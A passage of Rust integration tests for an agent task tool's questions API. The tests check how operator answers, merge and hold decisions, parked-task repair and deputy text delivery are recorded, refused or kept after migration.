13558                    Ok(Json(
13559                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
13560                            .unwrap(),
13561                    )),
13562                )
13563            };
13564            let _ = answer(choice).await.unwrap();
13565            assert_eq!(
13566                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13567                Some(choice)
13568            );
13569        }
13570    }
13571
13572    #[tokio::test]
13573    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
13574        let home = TempDir::new().unwrap();
13575        let ui = Arc::new(Ui::new(
13576            Queue::at(home.path().join("queue")),
13577            Questions::at(home.path().join("questions")),
13578            Talks::at(home.path().join("talks")),
13579            home.path().join("runs"),
13580            home.path().to_owned(),
13581            home.path().to_owned(),
13582        ));
13583        let mut q = Question::new(
13584            "run".into(),
13585            crate::github_text::ASK_NODE.into(),
13586            "posting-gate".into(),
13587            "Post?".into(),
13588            String::new(),
13589            vec!["use fallback".into()],
13590        );
13591        q.routed_task = Some("task".into());
13592        ui.questions.put(&mut q).unwrap();
13593        let sent = question_answer(
13594            State(ui.clone()),
13595            Path(q.id.clone()),
13596            Ok(Json(
13597                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
13598                    .unwrap(),
13599            )),
13600        )
13601        .await;
13602        let _ = sent.unwrap();
13603        assert_eq!(
13604            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13605            Some("use fallback")
13606        );
13607    }
13608
13609    #[tokio::test]
13610    async fn merge_decision_api_persists_exact_target_and_selected_action() {
13611        let fx = Fixture {
13612            home: TempDir::new().unwrap(),
13613            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13614        };
13615        for choice in [
13616            crate::land::HOLD,
13617            crate::land::REPAIR,
13618            crate::land::APPROVE,
13619            crate::merge_decision::WITHDRAW,
13620            "reimplement:beta",
13621        ] {
13622            let mut q = Question::new(
13623                "old-run".into(),
13624                crate::land::APPROVAL_NODE.into(),
13625                "land".into(),
13626                "Decision".into(),
13627                "Review findings".into(),
13628                vec![
13629                    "merge".into(),
13630                    "hold".into(),
13631                    crate::land::REPAIR.into(),
13632                    crate::merge_decision::WITHDRAW.into(),
13633                    "reimplement:beta".into(),
13634                ],
13635            );
13636            q.merge_target = Some(crate::merge_decision::Target {
13637                pr: "https://github.com/example/repo/pull/42".into(),
13638                head: "exact-reviewed-head".into(),
13639                language: "ja".into(),
13640            });
13641            q.consult = Some(ask::ChatConsult {
13642                talk: "another-conversation".into(),
13643                at: jiff::Timestamp::now(),
13644            });
13645            fx.questions().put(&mut q).unwrap();
13646            let ui = Arc::new(Ui::new(
13647                fx.queue(),
13648                fx.questions(),
13649                fx.talks(),
13650                fx.runs(),
13651                fx.home.path().into(),
13652                std::path::PathBuf::from("."),
13653            ));
13654            let response = question_answer(
13655                State(ui.clone()),
13656                Path(q.id.clone()),
13657                Ok(Json(NewAnswer {
13658                    choice: Some(choice.into()),
13659                    text: None,
13660                    ..Default::default()
13661                })),
13662            )
13663            .await
13664            .unwrap();
13665            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
13666            let disk = fx.questions().get(&q.id).unwrap();
13667            assert_eq!(disk.merge_target, q.merge_target);
13668            assert_eq!(disk.consult, q.consult);
13669            assert_eq!(disk.resolution().as_deref(), Some(choice));
13670            assert!(
13671                question_answer(
13672                    State(ui),
13673                    Path(q.id.clone()),
13674                    Ok(Json(NewAnswer {
13675                        choice: Some("merge".into()),
13676                        text: None,
13677                        ..Default::default()
13678                    }))
13679                )
13680                .await
13681                .is_err(),
13682                "an already settled decision cannot turn into merge approval"
13683            );
13684        }
13685    }
13686
13687    #[tokio::test]
13688    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
13689        let fx = Fixture {
13690            home: TempDir::new().unwrap(),
13691            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13692        };
13693        let mut state = crate::land::tests::repair_state(true, true);
13694        state.status = RunStatus::Landing;
13695        state.parked = true;
13696        state.driver_exited = true;
13697        let mut task = Task::new(
13698            "Existing PR owner".into(),
13699            state.instruction.clone(),
13700            state.repo.clone(),
13701            Source::Human,
13702        );
13703        task.runs.push(state.id.clone());
13704        task.status = TaskStatus::Parked;
13705        fx.queue().put(&mut task).unwrap();
13706        let mut q = Question::new(
13707            state.id.clone(),
13708            crate::land::APPROVAL_NODE.into(),
13709            "land".into(),
13710            "Contested merge".into(),
13711            "Original evidence".into(),
13712            vec!["merge".into(), "hold".into()],
13713        );
13714        state.land_approval = Some(crate::run::LandApproval {
13715            question: q.id.clone(),
13716            head: "reviewed-head".into(),
13717        });
13718        state.save_under(fx.home.path()).unwrap();
13719        fx.questions().put(&mut q).unwrap();
13720        // A later repair answer on this old card supersedes this manual hold.
13721        task.hold_manual(Some("Pause this PR".into()));
13722        fx.queue().put(&mut task).unwrap();
13723        // POST directly, without a preceding GET: validation must see the
13724        // same durable upgrade that the card, CLI and chat see.
13725        let ui = Arc::new(Ui::new(
13726            fx.queue(),
13727            fx.questions(),
13728            fx.talks(),
13729            fx.runs(),
13730            fx.home.path().to_path_buf(),
13731            state.repo.clone(),
13732        ));
13733        let response = question_answer(
13734            State(ui),
13735            Path(q.id.clone()),
13736            Ok(Json(NewAnswer {
13737                choice: Some(crate::land::REPAIR.into()),
13738                text: None,
13739                ..Default::default()
13740            })),
13741        )
13742        .await
13743        .unwrap();
13744        assert_eq!(response.0.question.id, q.id);
13745        let upgraded = fx.questions().get(&q.id).unwrap();
13746        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
13747        assert!(upgraded.detail.starts_with("Original evidence"));
13748        let claim = fx.queue().claim(&task.id).unwrap();
13749        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13750        assert!(
13751            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
13752            "an existing driver keeps its claim"
13753        );
13754        drop(claim);
13755        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13756        let resumed = fx.queue().get(&task.id).unwrap();
13757        assert_eq!(
13758            resumed
13759                .resume_override
13760                .as_ref()
13761                .unwrap()
13762                .pinned_run
13763                .as_deref(),
13764            Some(state.id.as_str())
13765        );
13766        assert!(resumed.status.runnable());
13767        assert_eq!(resumed.instruction, task.instruction);
13768        assert_eq!(resumed.runs, task.runs);
13769        assert!(resumed.action_applied(&q.id));
13770        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13771        assert_eq!(fx.queue().list().len(), 1);
13772        assert_eq!(
13773            fx.queue().get(&task.id).unwrap().resume_override,
13774            resumed.resume_override
13775        );
13776        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13777        assert!(
13778            disk.merge_repairs.is_empty(),
13779            "only the claimed run driver may execute repair"
13780        );
13781        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
13782    }
13783
13784    #[tokio::test]
13785    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
13786        let fx = Fixture::start().await;
13787        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13788        let path = format!("/api/questions/{id}/answer");
13789
13790        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
13791        assert_eq!(res.status, 200, "{}", res.body);
13792        let body = res.json();
13793        assert_eq!(body["status"], "answered");
13794        assert_eq!(body["answer"]["choice"], "Redis");
13795
13796        // Answered from the terminal in between the list and the tap: the UI
13797        // must be able to tell this from a bad request, so it can show the
13798        // recorded answer instead of an error.
13799        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
13800        assert_eq!(again.status, 409, "{}", again.body);
13801        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13802    }
13803
13804    #[tokio::test]
13805    async fn fresh_api_answers_survive_task_inquiry_migration() {
13806        use crate::{ask::ChoiceAction, task_decision::Status, task_inquiry::Outbox};
13807        for migrate_first in [false, true] {
13808            let fx = Fixture::start().await;
13809            let mut task = Task::new(
13810                "work".into(),
13811                "work".into(),
13812                PathBuf::from("/repo/magi"),
13813                Source::Human,
13814            );
13815            task.runs.push("run-a".into());
13816            fx.queue().put(&mut task).unwrap();
13817            let mut q = Question::new(
13818                "run-a".into(),
13819                "implement".into(),
13820                "impl-A".into(),
13821                "Keep held?".into(),
13822                String::new(),
13823                vec!["hold".into()],
13824            );
13825            q.actions.insert("hold".into(), ChoiceAction::Hold);
13826            fx.questions().put(&mut q).unwrap();
13827            if migrate_first {
13828                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13829            }
13830            let response = fx
13831                .post(
13832                    &format!("/api/questions/{}/answer", q.id),
13833                    Some(r#"{"choice":"hold"}"#),
13834                )
13835                .await;
13836            assert_eq!(response.status, 200, "{}", response.body);
13837            for _ in 0..2 {
13838                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13839                let source = fx.questions().get(&q.id).unwrap();
13840                assert_eq!(source.resolution().as_deref(), Some("hold"));
13841                let decision = Outbox::at(fx.home.path())
13842                    .get(&q.id)
13843                    .unwrap()
13844                    .decision
13845                    .unwrap();
13846                assert_eq!(decision.request.as_deref(), Some("decision: hold"));
13847                assert_eq!(decision.source_answer_at, source.answered_at);
13848                assert_eq!(decision.status, Status::Queued);
13849            }
13850            assert_eq!(
13851                fx.post(
13852                    &format!("/api/questions/{}/answer", q.id),
13853                    Some(r#"{"choice":"hold"}"#)
13854                )
13855                .await
13856                .status,
13857                409
13858            );
13859        }
13860    }
13861
13862    #[tokio::test]
13863    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
13864        let home = tempfile::tempdir().unwrap();
13865        let ui = delta_test_ui(home.path());
13866        let mut q = Question::new(
13867            "task".into(),
13868            crate::land::APPROVAL_NODE.into(),
13869            "land".into(),
13870            "Explain?".into(),
13871            String::new(),
13872            vec!["hold".into()],
13873        );
13874        q.deputy = Some(ask::Deputy::new("context".into()));
13875        ui.questions.put(&mut q).unwrap();
13876        let mut cfg = stub_config();
13877        cfg.daemon.max_deputies = 0;
13878        let mut status = crate::daemon::Status::new();
13879        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13880        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13881        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13882        let error = question_say(
13883            State(ui.clone()),
13884            Path(q.id.clone()),
13885            Ok(Json(NewSay {
13886                body: "Explain the findings".into(),
13887            })),
13888        )
13889        .await
13890        .unwrap_err();
13891        assert_eq!(
13892            error.text_reason,
13893            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13894        );
13895        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13896
13897        let mut text = Question::new(
13898            "task".into(),
13899            "ask".into(),
13900            "operator".into(),
13901            "Which name?".into(),
13902            String::new(),
13903            vec![],
13904        );
13905        ui.questions.put(&mut text).unwrap();
13906        let Json(view) = question_answer(
13907            State(ui.clone()),
13908            Path(text.id.clone()),
13909            Ok(Json(NewAnswer {
13910                choice: None,
13911                text: Some("chosen name".into()),
13912                ..Default::default()
13913            })),
13914        )
13915        .await
13916        .unwrap();
13917        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13918        assert!(!ui.questions.get(&text.id).unwrap().status.open());
13919    }
13920
13921    #[tokio::test]
13922    async fn question_text_handler_admission_without_transport() {
13923        let home = tempfile::tempdir().unwrap();
13924        let ui = delta_test_ui(home.path());
13925        let mut q = Question::new(
13926            "task".into(),
13927            crate::land::APPROVAL_NODE.into(),
13928            "land".into(),
13929            "May this PR merge?".into(),
13930            String::new(),
13931            vec!["hold".into()],
13932        );
13933        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13934        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13935        ui.questions.put(&mut q).unwrap();
13936        let say = || {
13937            Ok(Json(NewSay {
13938                body: "Explain the findings".into(),
13939            }))
13940        };
13941        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13942            .await
13943            .unwrap_err();
13944        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13945        let response = rejected.into_response();
13946        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13947            .await
13948            .unwrap();
13949        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13950        assert_eq!(body["code"], "question_text_unavailable");
13951        assert_eq!(body["reason"], "deputy_exhausted");
13952        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13953        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13954        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13955        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13956            .await
13957            .unwrap();
13958        assert_eq!(view.text_delivery.state, "live");
13959        assert!(view.question.waiter.is_none());
13960        assert!(view.question.cwd.is_none());
13961        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13962        ui.questions.drop_lease(&q.id);
13963        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13964            .await
13965            .unwrap_err();
13966        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13967        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13968        let _ = question_answer(
13969            State(ui.clone()),
13970            Path(q.id.clone()),
13971            Ok(Json(NewAnswer {
13972                choice: Some("hold".into()),
13973                text: None,
13974                ..Default::default()
13975            })),
13976        )
13977        .await
13978        .unwrap();
13979        assert_eq!(
13980            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13981            Some("hold")
13982        );
13983    }
13984
13985    #[tokio::test]
13986    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13987        let fx = Fixture::start().await;
13988        let store = fx.questions();
13989        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
13990        store
13991            .update(&id, |q| {
13992                q.node = crate::land::APPROVAL_NODE.to_owned();
13993                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
13994                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13995                Ok(())
13996            })
13997            .unwrap();
13998        let path = format!("/api/questions/{id}/say");
13999        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
14000        assert_eq!(refused.status, 422, "{}", refused.body);
14001        assert!(
14002            refused.json()["error"]
14003                .as_str()
14004                .unwrap()
14005                .contains("deputy_exhausted")
14006        );
14007        assert!(store.get(&id).unwrap().thread.is_empty());
14008
14009        // A final live deputy is usable even with no ordinary waiter/cwd.
14010        store.beat(&id, ask::WaiterKind::Deputy);
14011        let view = fx.get("/api/questions").await.json();
14012        assert_eq!(view[0]["text_delivery"]["state"], "live");
14013        let accepted = fx
14014            .post(&path, Some(r#"{"body":"explain the findings"}"#))
14015            .await;
14016        assert_eq!(accepted.status, 200, "{}", accepted.body);
14017        let before = std::fs::read(store.path_of(&id)).unwrap();
14018
14019        // The recipient exits between rendering and sending. Rejection must
14020        // preserve previously accepted text, the answer and delivery cursor.
14021        store.drop_lease(&id);
14022        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
14023        assert_eq!(refused.status, 422, "{}", refused.body);
14024        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
14025        let held = fx
14026            .post(
14027                &format!("/api/questions/{id}/answer"),
14028                Some(r#"{"choice":"hold"}"#),
14029            )
14030            .await;
14031        assert_eq!(held.status, 200, "{}", held.body);
14032        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
14033    }
14034
14035    #[tokio::test]
14036    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
14037        let repo = tempfile::tempdir().unwrap();
14038        let mut cfg = stub_config();
14039        cfg.daemon.max_deputies = 0;
14040        std::fs::write(
14041            repo.path().join("magi.toml"),
14042            toml::to_string(&cfg).unwrap(),
14043        )
14044        .unwrap();
14045        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14046        let mut status = crate::daemon::Status::new();
14047        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
14048        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
14049        let id = ask(&fx, "Explain?", &["hold"]);
14050        fx.questions()
14051            .update(&id, |q| {
14052                q.node = crate::land::APPROVAL_NODE.into();
14053                q.deputy = Some(ask::Deputy::new("context".into()));
14054                q.deputy.as_mut().unwrap().agent = "stub".into();
14055                Ok(())
14056            })
14057            .unwrap();
14058        cfg.daemon.max_deputies = 1;
14059        std::fs::write(
14060            repo.path().join("magi.toml"),
14061            toml::to_string(&cfg).unwrap(),
14062        )
14063        .unwrap();
14064        let view = fx.get("/api/questions").await.json();
14065        assert_eq!(view[0]["deputies_enabled"], true);
14066        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
14067        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
14068        let res = fx
14069            .post(
14070                &format!("/api/questions/{id}/say"),
14071                Some(r#"{"body":"Please explain"}"#),
14072            )
14073            .await;
14074        assert_eq!(res.status, 422, "{}", res.body);
14075        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
14076    }
14077
14078    #[tokio::test]
14079    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
14080        let fx = Fixture::start().await;
14081        let id = ask(&fx, "No seat", &[]);
14082        let store = fx.questions();
14083        let before = std::fs::read(store.path_of(&id)).unwrap();
14084        let res = fx
14085            .post(
14086                &format!("/api/questions/{id}/say"),
14087                Some(r#"{"body":"hello"}"#),
14088            )
14089            .await;
14090        assert_eq!(res.status, 422, "{}", res.body);
14091        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
14092        let res = fx
14093            .post(
14094                &format!("/api/questions/{id}/answer"),
14095                Some(r#"{"text":"hello"}"#),
14096            )
14097            .await;
14098        assert_eq!(res.status, 200, "{}", res.body);
14099        assert_eq!(
14100            store.get(&id).unwrap().resolution().as_deref(),
14101            Some("hello")
14102        );
14103    }
14104
14105    #[tokio::test]
14106    async fn saying_something_appends_a_turn_without_answering() {
14107        let fx = Fixture::start().await;
14108        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14109        fx.questions().beat(&id, ask::WaiterKind::Asker);
14110        let path = format!("/api/questions/{id}/say");
14111
14112        let res = fx
14113            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
14114            .await;
14115        assert_eq!(res.status, 200, "{}", res.body);
14116        let body = res.json();
14117        assert_eq!(body["status"], "open", "talking back is not a decision");
14118        assert_eq!(body["answer"], Value::Null);
14119        assert_eq!(body["thread"][0]["who"], "operator");
14120        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
14121        assert_eq!(body["waiting_on_agent"], true);
14122        // Still open, still counted, still exactly one question.
14123        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14124    }
14125
14126    #[tokio::test]
14127    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
14128        let fx = Fixture::start().await;
14129        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14130
14131        let list = fx.get("/api/questions").await.json();
14132        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
14133
14134        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
14135        assert_eq!(res.status, 409, "{}", res.body);
14136        let q = fx.questions().get(&id).unwrap();
14137        assert!(q.status.open());
14138        assert!(q.consult.is_none());
14139    }
14140
14141    #[tokio::test]
14142    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
14143        let fx = Fixture::start().await;
14144        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14145        let cfg = Config {
14146            agents: vec![crate::config::AgentSpec {
14147                id: "mock".to_owned(),
14148                kind: crate::config::AgentKind::Command,
14149                model: None,
14150                command: vec!["true".to_owned()],
14151                extra_args: Vec::new(),
14152                env: Default::default(),
14153                prompt_delivery: None,
14154                max_turn_secs: None,
14155            }],
14156            ..Config::default()
14157        };
14158        let talk = crate::talk::begin(
14159            &fx.talks(),
14160            &cfg,
14161            fx.home.path().to_path_buf(),
14162            Some("mock"),
14163        )
14164        .unwrap();
14165        let mut task = Task::new(
14166            "t".to_owned(),
14167            "Do it".to_owned(),
14168            PathBuf::from("/repo/magi"),
14169            Source::Agent {
14170                run: talk.id.clone(),
14171                node: crate::queue::CHAT_NODE.to_owned(),
14172            },
14173        );
14174        task.start("20260902-000000-beef".to_owned());
14175        fx.queue().put(&mut task).unwrap();
14176
14177        let list = fx.get("/api/questions").await.json();
14178        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
14179        assert_eq!(
14180            list[0]["choices"],
14181            serde_json::json!(["SQLite", "Redis"]),
14182            "the hand-over is never a choice"
14183        );
14184        fx.questions()
14185            .update(&id, |q| {
14186                q.node = crate::land::APPROVAL_NODE.into();
14187                q.choices = vec!["merge".into(), "hold".into()];
14188                Ok(())
14189            })
14190            .unwrap();
14191        let list = fx.get("/api/questions").await.json();
14192        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
14193        assert_eq!(list[0]["can_consult_chat"], true);
14194        fx.questions()
14195            .update(&id, |q| {
14196                q.node = crate::bump::NOTICE_NODE.into();
14197                Ok(())
14198            })
14199            .unwrap();
14200        let list = fx.get("/api/questions").await.json();
14201        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
14202        assert_eq!(list[0]["can_consult_chat"], false);
14203    }
14204
14205    #[tokio::test]
14206    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
14207        let fx = Fixture::start().await;
14208        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14209        fx.questions()
14210            .update(&id, |q| {
14211                q.node = crate::land::APPROVAL_NODE.into();
14212                q.choices = vec!["merge".into(), "hold".into()];
14213                Ok(())
14214            })
14215            .unwrap();
14216        let cfg = Config {
14217            agents: vec![crate::config::AgentSpec {
14218                id: "mock".to_owned(),
14219                kind: crate::config::AgentKind::Command,
14220                model: None,
14221                command: vec!["true".to_owned()],
14222                extra_args: Vec::new(),
14223                env: Default::default(),
14224                prompt_delivery: None,
14225                max_turn_secs: None,
14226            }],
14227            ..Config::default()
14228        };
14229        // Not a git working tree, so its `magi.toml` is read from disk.
14230        let repo = fx.home.path().join("chat-repo");
14231        std::fs::create_dir_all(&repo).unwrap();
14232        let toml = repo.join("magi.toml");
14233        std::fs::write(&toml, "this is = = not toml").unwrap();
14234        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
14235        let mut task = Task::new(
14236            "t".to_owned(),
14237            "Do it".to_owned(),
14238            PathBuf::from("/repo/magi"),
14239            Source::Agent {
14240                run: talk.id.clone(),
14241                node: crate::queue::CHAT_NODE.to_owned(),
14242            },
14243        );
14244        task.start("20260902-000000-beef".to_owned());
14245        fx.queue().put(&mut task).unwrap();
14246
14247        let path = format!("/api/questions/{id}/consult");
14248        let res = fx.post(&path, None).await;
14249        assert!(res.status >= 400, "{}", res.body);
14250        assert!(fx.questions().get(&id).unwrap().consult.is_none());
14251        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
14252
14253        std::fs::write(&toml, "").unwrap();
14254        let res = fx.post(&path, None).await;
14255        assert_eq!(res.status, 202, "{}", res.body);
14256        assert!(fx.questions().get(&id).unwrap().consult.is_some());
14257        let q = fx.questions().get(&id).unwrap();
14258        assert!(q.status.open());
14259        assert!(q.answer.is_none());
14260        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
14261        assert_eq!(res.json()["can_consult_chat"], true);
14262        let list = fx.get("/api/questions").await.json();
14263        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
14264        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
14265
14266        let res = fx
14267            .post(
14268                &format!("/api/questions/{id}/answer"),
14269                Some(r#"{"choice":"hold"}"#),
14270            )
14271            .await;
14272        assert_eq!(res.status, 200, "{}", res.body);
14273        assert_eq!(res.json()["answer"]["choice"], "hold");
14274        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
14275        assert_eq!(res.json()["can_consult_chat"], false);
14276        assert_eq!(fx.post(&path, None).await.status, 409);
14277
14278        let mut talk = fx.talks().get(&talk.id).unwrap();
14279        // This test closes the history view, not an unconsumed consultation.
14280        crate::talk::clear_pending(&mut talk, &fx.talks()).unwrap();
14281        crate::talk::close(&mut talk, &fx.talks()).unwrap();
14282        let list = fx.get("/api/questions").await.json();
14283        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
14284        assert_eq!(list[0]["origin_chat_closed"], true);
14285        assert_eq!(list[0]["can_consult_chat"], false);
14286
14287        fx.talks().remove(&talk.id).unwrap();
14288        let list = fx.get("/api/questions").await.json();
14289        assert_eq!(list[0]["origin_chat"], Value::Null);
14290        assert_eq!(list[0]["origin_chat_closed"], false);
14291        assert_eq!(list[0]["can_consult_chat"], false);
14292    }
14293
14294    #[tokio::test]
14295    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
14296        let fx = Fixture::start().await;
14297        let store = fx.questions();
14298        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14299        store.beat(&id, ask::WaiterKind::Asker);
14300        assert_eq!(
14301            fx.get("/api/health").await.json()["questions_needs_owner"],
14302            1
14303        );
14304
14305        // The owner asks back instead of deciding: the ask bar, the nav badge
14306        // and the title must stop naming this question, because there is
14307        // nothing to decide until the agent answers - `status` alone cannot
14308        // say that, which is the whole reason `questions_needs_owner` exists
14309        // alongside `questions_open`.
14310        let res = fx
14311            .post(
14312                &format!("/api/questions/{id}/say"),
14313                Some(r#"{"body":"why not Postgres?"}"#),
14314            )
14315            .await;
14316        assert_eq!(res.status, 200, "{}", res.body);
14317        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14318        assert_eq!(
14319            fx.get("/api/health").await.json()["questions_needs_owner"],
14320            0,
14321            "waiting on the agent is not waiting on the owner"
14322        );
14323
14324        // `magi ask --thread` replying is what brings the owner count back -
14325        // the same event that would resume the CLI call blocked in `magi
14326        // ask`.
14327        let mut q = store.get(&id).expect("get");
14328        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
14329            .expect("reply");
14330        store.put(&mut q).expect("put");
14331        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14332        assert_eq!(
14333            fx.get("/api/health").await.json()["questions_needs_owner"],
14334            1,
14335            "the agent's reply is what should light the banner back up"
14336        );
14337    }
14338
14339    #[tokio::test]
14340    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
14341        let fx = Fixture::start().await;
14342        let store = fx.questions();
14343
14344        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14345        let res = fx
14346            .post(
14347                &format!("/api/questions/{empty_id}/say"),
14348                Some(r#"{"body":"   "}"#),
14349            )
14350            .await;
14351        assert_eq!(res.status, 400, "{}", res.body);
14352
14353        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14354        let mut answered = store.get(&answered_id).expect("get");
14355        answered
14356            .answer(Answer::Choice("SQLite".to_owned()))
14357            .expect("answer");
14358        store.put(&mut answered).expect("put");
14359        let res = fx
14360            .post(
14361                &format!("/api/questions/{answered_id}/say"),
14362                Some(r#"{"body":"still there?"}"#),
14363            )
14364            .await;
14365        assert_eq!(res.status, 409, "{}", res.body);
14366
14367        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14368        let mut abandoned = store.get(&abandoned_id).expect("get");
14369        abandoned.abandon("timed out");
14370        store.put(&mut abandoned).expect("put");
14371        let res = fx
14372            .post(
14373                &format!("/api/questions/{abandoned_id}/say"),
14374                Some(r#"{"body":"still there?"}"#),
14375            )
14376            .await;
14377        assert_eq!(res.status, 409, "{}", res.body);
14378    }
14379
14380    #[tokio::test]
14381    async fn historical_release_2029_api_retains_answer_and_refuses_controls() {
14382        let fx = Fixture::start().await;
14383        let questions = fx.questions();
14384        let mut q = Question::new(
14385            String::new(),
14386            crate::bump::NOTICE_NODE.into(),
14387            "release-watch".into(),
14388            "Release PR approval".into(),
14389            "Saved head".into(),
14390            vec!["merge".into(), "hold".into()],
14391        );
14392        q.id = "20261109-014940-871849981cd969b1-0000000000000000-2029".into();
14393        q.merge_target = Some(crate::merge_decision::Target {
14394            pr: "https://example.test/mebae/pull/100".into(),
14395            head: "4d5a46f99a678608d2b883498d8bebd9399c0261".into(),
14396            language: "en".into(),
14397        });
14398        q.answer(Answer::Choice("merge".into())).unwrap();
14399        q.answer_delivered = true;
14400        questions.put(&mut q).unwrap();
14401        let dir = fx.home.path().join("notifications/task-chat-migration-v1");
14402        std::fs::create_dir_all(&dir).unwrap();
14403        std::fs::write(
14404            dir.join("state.json"),
14405            serde_json::to_vec(&serde_json::json!({
14406                "schema": 1, "sources": [q.id], "pending": [q.id]
14407            }))
14408            .unwrap(),
14409        )
14410        .unwrap();
14411        let bytes = std::fs::read(questions.path_of(&q.id)).unwrap();
14412        for migrated in [false, true] {
14413            if migrated {
14414                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &questions, fx.home.path());
14415            }
14416            for endpoint in ["/api/questions", "/api/questions/core"] {
14417                let response = fx.get(endpoint).await;
14418                assert_eq!(response.status, 200);
14419                let rows = response.json();
14420                let row = rows
14421                    .as_array()
14422                    .unwrap()
14423                    .iter()
14424                    .find(|r| r["id"] == q.id)
14425                    .unwrap();
14426                assert_eq!(row["status"], "answered");
14427                assert_eq!(row["answer"]["choice"], "merge");
14428                assert_eq!(row["can_answer"], false);
14429                assert_eq!(row["history_only"], true);
14430            }
14431            let answer = fx
14432                .post(
14433                    &format!("/api/questions/{}/answer", q.id),
14434                    Some(r#"{"choice":"merge"}"#),
14435                )
14436                .await;
